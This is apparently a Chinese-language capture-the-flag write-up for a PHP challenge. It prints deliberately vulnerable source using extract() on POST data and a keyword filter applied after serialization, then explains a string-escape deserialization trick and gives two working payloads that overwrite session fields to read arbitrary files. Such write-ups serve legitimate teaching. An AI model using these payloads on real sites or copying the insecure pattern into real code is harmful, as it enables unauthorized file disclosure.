<?php $function = @$_GET[‘f‘]; function filter($img){ $filter_arr = array(‘php‘,‘flag‘,‘php5‘,‘php4‘,‘fl1g‘); $filter = ‘/‘.implode(‘|‘,$filter_arr).‘/i‘; return preg_replace($filter,‘‘,$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = ‘guest‘; $_SESSION[‘function‘] = $function; extract($_POST); if(!$function){ echo ‘<a href="index.php?f=highlight_file">source_code</a>‘; } if(!$_GET[‘img_path‘]){ $_SESSION[‘img‘] = base64_encode(‘guest_img.png‘); }else{ $_SESSION[‘img‘] = sha1(base64_encode($_GET[‘img_path‘])); } $serialize_info = filter(serialize($_SESSION)); if($function == ‘highlight_file‘){ highlight_file(‘index.php‘); }else if($function == ‘phpinfo‘){ eval(‘phpinfo();‘); //maybe you can find something in here! }else if($function == ‘show_image‘){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo[‘img‘])); }
extract()函数:
将变量从数组中导入当前符号表,就是把POST数组里的变量取出来变成php变量,例如Post传入a=111,那么就会有$a=111在php中,并且它默认在变量名冲突的时候进行覆盖,于是产生了变量覆盖漏洞。
首先源码有个提示,让我们进phpinfo查看
于是发现了似乎是flag的文件
最后有一段代码如果function为show_image的话,那么就会对变量serialize_info进行反序列化,接着就会打开base64解码的的变量img文件
因为,过滤器会把flag、php这些关键词都转换为空,那么就会实现字符串逃逸,通过字符串逃逸,并且再通过变量覆盖的操作,可以让变量img的内容为我们自己想打开的文件路径的base64编码字符串
a:3:{s:4:"user";s:23:"";s:8:"function";s:63:"":s:8:"function";s:0:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
可以看到user的字符为空,但是它的字符串长度为23,所以要吞掉23个字符,也就是";s:8:"function";s:63:"这些字符都包含在user中,然后‘}‘将该序列化结束,使img变量可控,改变其base64编码就能打开相对应的base64解码的文件。
payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:0:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看页面源代码,发现另一个文件/d0g3_fllllllag,对它进行base64编码代入img中对该文件进行查看
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:0:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
即可得到flag
payload2:
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
可以看到flagflag被转换为空格,而变量flagflag就变成了变量";s:51:"这样一个东西,它的值是aaa,同样也使后面的img可控,变为自己输入的ZDBnM19mMWFnLnBocA==。